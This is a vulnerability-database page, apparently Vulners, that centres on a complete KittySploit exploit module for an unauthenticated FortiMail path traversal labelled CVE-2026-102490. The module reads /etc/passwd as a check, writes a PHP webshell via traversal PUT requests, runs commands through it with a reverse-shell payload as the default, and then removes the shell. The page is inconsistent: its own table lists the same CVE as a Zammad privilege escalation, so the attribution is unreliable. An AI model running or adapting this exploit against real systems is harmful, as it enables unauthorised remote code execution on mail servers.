FortiMail Path Traversal RCE (CVE-2026-102490)
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2026-102490 | 30 Sep 202611:44 | – | circl | |
| Zammad GmbH Zammad Session Fixation Vulnerability | 2 Oct 202600:00 | – | cisa_kev | |
| Zammad GmbH Zammad Improper Privilege Management Vulnerability | 2 Oct 202600:00 | – | cisa_kev | |
| CISA Adds Two Known Exploited Vulnerabilities to Catalog | 2 Oct 202612:00 | – | cisa | |
| CVE-2026-102490 | 30 Sep 202616:21 | – | cve | |
| CVE-2026-102489 Undisclosed RCE in Zammad v6.3 and higher | 30 Sep 202616:21 | – | cvelist | |
| CVE-2026-102490 Local privilege escalation in Zammad v1.5.0 to v7.2.2 installed via DEB or RPM package | 30 Sep 202616:21 | – | cvelist | |
| EUVD-2026-90081 | 30 Sep 202616:21 | – | euvd | |
| Zammad Session Fixation RCE (CVE-2026-102489) | 5 Oct 202614:20 | – | kittysploit | |
| Zammad Local Privilege Escalation (CVE-2026-102490) | 5 Oct 202614:20 | – | kittysploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiMail unauthenticated path traversal RCE (CVE-2026-102490)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'FortiMail Path Traversal RCE (CVE-2026-102490)',
'description': (
'Exploits CVE-2026-102490 in FortiMail: unauthenticated path traversal '
'and NULL-byte mishandling allows writing arbitrary files, enabling '
'webshell deployment and remote code execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2026-102490'],
'platform': Platform.LINUX,
'arch': [Arch.CMD],
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': Platform.UNIX,
'category': PayloadCategory.CMD,
},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-102490'],
'tags': ['fortinet', 'fortimail', 'path-traversal', 'rce', 'unauth', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 4,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/fortimail_cve_2026_102490_detect'],
},
},
}
write_path = OptString(
'/var/spamdata/webmail/ks_shell.php',
'Remote file path for webshell write',
required=False,
)
command = OptString('', 'Command instead of payload', required=False)
cleanup = OptBool(True, 'Remove webshell after exploit', required=False)
def _traversal_write(self, remote_path: str, content: str) -> bool:
encoded = '../' * 8 + remote_path.lstrip('/')
path = f'/module/release_control/{encoded}'
r = self.http_request(
method='PUT',
path=path,
headers={'Content-Type': 'application/octet-stream'},
data=content,
allow_redirects=False,
)
return bool(r and r.status_code in (200, 201, 204))
def _shell_url(self) -> str:
remote = str(self.write_path or '').strip()
name = remote.rsplit('/', 1)[-1]
return f'/webmail/{name}'
def check(self):
probe = self.http_request(
method='GET',
path='/module/release_control/%2e%2e/%2e%2e/etc/passwd',
allow_redirects=False,
)
if probe and probe.status_code == 200 and 'root:' in (probe.text or ''):
return {'vulnerable': True, 'reason': 'Path traversal read confirmed', 'confidence': 'high'}
panel = self.http_request(method='GET', path='/', allow_redirects=False)
if panel and 'fortimail' in (panel.text or '').lower():
return {'vulnerable': True, 'reason': 'FortiMail detected — traversal may work', 'confidence': 'medium'}
return {'vulnerable': False, 'reason': 'FortiMail traversal not confirmed', 'confidence': 'medium'}
def run(self):
cmd = str(self.command or '').strip() or str(self.payload or '').strip()
if not cmd:
print_error('Set a payload or command option')
return False
print_status('CVE-2026-102490 — FortiMail path traversal RCE')
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Target not vulnerable'))
self.not_vulnerable()
return False
remote = str(self.write_path or '/var/spamdata/webmail/ks_shell.php').strip()
php = f'<?php system($_GET["c"]); ?>'
print_status(f'Writing webshell to {remote!r}...')
if not self._traversal_write(remote, php):
print_error('File write failed')
return False
shell_url = self._shell_url()
print_status('Triggering webshell...')
self.http_request(method='GET', path=shell_url, params={'c': cmd}, allow_redirects=False)
if self.cleanup:
self._traversal_write(remote, '')
print_success('Payload dispatched — check listener for session')
self.vulnerable()
return True
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05 Oct 2026 14:20Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.17.8
CVSS 49.4
EPSS0.0055
SSVC